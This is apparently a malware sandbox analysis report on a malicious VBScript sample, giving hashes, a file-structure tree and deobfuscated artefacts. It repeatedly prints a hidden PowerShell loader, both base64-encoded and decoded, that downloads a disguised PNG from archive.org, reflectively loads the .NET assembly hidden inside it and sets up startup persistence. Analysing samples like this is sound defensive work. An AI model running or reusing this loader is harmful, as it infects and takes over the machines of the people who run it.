Malicious
Malicious

30a6d68b2ea3796940497c4341d8ce6d

VBScript
|
MD5: 30a6d68b2ea3796940497c4341d8ce6d
|
Size: 80.83 KB
|
text/vbscript

Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
30a6d68b2ea3796940497c4341d8ce6d
Sha1
0e7613b51e5d121d1fe9a7d5d2cc134e8ad39ed5
Sha256
2b3509532532cd02f563e5129d63cc86c4b2aac21439ffbbca8d82d5319b41c1
Sha384
ae751e90037dfdb9f36f4cf2cad9ffdba133ce62d771bc7f329a1a68ef2a223b5d1cc7babe4b3dbc74182c1e86649ee6
Sha512
34092b18e40fd8da9816a02473856f610f42c771da18bf177af37ad871ba54f88e4a5fda70c010a28a05424b1f155a8057a5d4f9157f73b37a9d8b58f987be8a
SSDeep
1536:T/adUjsPgsvv9JovfPWLZnTN9y6hJWBl2yBrpPqlc2Sy6yBzkr5/c967z9Yvhro2:WdUervv9JovfPWLZnTN9y6hJWBl2yBrS
TLSH
4583D658D60FBAAB1F1091B9E658F357DD0AAC028947349FB3428F53ECA722D94D706C
File Structure
30a6d68b2ea3796940497c4341d8ce6d
Malicious
30a6d68b2ea3796940497c4341d8ce6d.deobfuscated.vbs
Malicious
[Command #0]
Malicious
[PowerShell Command]
Malicious
[Base64-Block]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
Artefacts
Name
 Value
URLs in VB Code - #1

http://www.ostrosoft.com/smtp.html
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnMGhIZHVVR2JwWkVabFJuY2xabmJ2TlVheVJHZTRoM2N6ZFhadTlDTjM0U091TXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnMGhIZHVVR2JwWkVabFJuY2xabmJ2TlVheVJHZTRoM2N6ZFhadTlDTjM0U091TXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"
Deobfuscated PowerShell

Invoke-Expression
Deobfuscated PowerShell

Invoke-Expression
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "0hHduUGbpZEZlRnclZnbvNUayRGe4h3czdXZu9CN34SOuMzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))
Deobfuscated PowerShell

Invoke-Expression
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "0hHduUGbpZEZlRnclZnbvNUayRGe4h3czdXZu9CN34SOuMzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))
30a6d68b2ea3796940497c4341d8ce6d (80.83 KB)
File Structure
30a6d68b2ea3796940497c4341d8ce6d
Malicious
30a6d68b2ea3796940497c4341d8ce6d.deobfuscated.vbs
Malicious
[Command #0]
Malicious
[PowerShell Command]
Malicious
[Base64-Block]
Malicious
[Deobfuscated PS]
Malicious
[Base64-Block]
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
Characteristics
No malware configuration were found at this point.
Artefacts
Name
 Value Location
URLs in VB Code - #1

http://www.ostrosoft.com/smtp.html

30a6d68b2ea3796940497c4341d8ce6d
Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnMGhIZHVVR2JwWkVabFJuY2xabmJ2TlVheVJHZTRoM2N6ZFhadTlDTjM0U091TXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"

Malicious

30a6d68b2ea3796940497c4341d8ce6d > 30a6d68b2ea3796940497c4341d8ce6d.deobfuscated.vbs > [Command #0]

Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnMGhIZHVVR2JwWkVabFJuY2xabmJ2TlVheVJHZTRoM2N6ZFhadTlDTjM0U091TXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"

Malicious

30a6d68b2ea3796940497c4341d8ce6d > 30a6d68b2ea3796940497c4341d8ce6d.deobfuscated.vbs > [Command #0] > [Deobfuscated PS]
Deobfuscated PowerShell

Invoke-Expression

Malicious

30a6d68b2ea3796940497c4341d8ce6d > 30a6d68b2ea3796940497c4341d8ce6d.deobfuscated.vbs > [Command #0] > [Deobfuscated PS] > [PowerShell Command]
Deobfuscated PowerShell

Invoke-Expression

Malicious

30a6d68b2ea3796940497c4341d8ce6d > 30a6d68b2ea3796940497c4341d8ce6d.deobfuscated.vbs > [Command #0] > [Deobfuscated PS] > [PowerShell Command] > [Deobfuscated PS]
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "0hHduUGbpZEZlRnclZnbvNUayRGe4h3czdXZu9CN34SOuMzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))

Malicious

30a6d68b2ea3796940497c4341d8ce6d > 30a6d68b2ea3796940497c4341d8ce6d.deobfuscated.vbs > [Command #0] > [Base64-Block]
Deobfuscated PowerShell

Invoke-Expression

Malicious

30a6d68b2ea3796940497c4341d8ce6d > 30a6d68b2ea3796940497c4341d8ce6d.deobfuscated.vbs > [Command #0] > [PowerShell Command]
Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "0hHduUGbpZEZlRnclZnbvNUayRGe4h3czdXZu9CN34SOuMzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))

Malicious

30a6d68b2ea3796940497c4341d8ce6d > 30a6d68b2ea3796940497c4341d8ce6d.deobfuscated.vbs > [Command #0] > [Base64-Block] > [Deobfuscated PS]
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙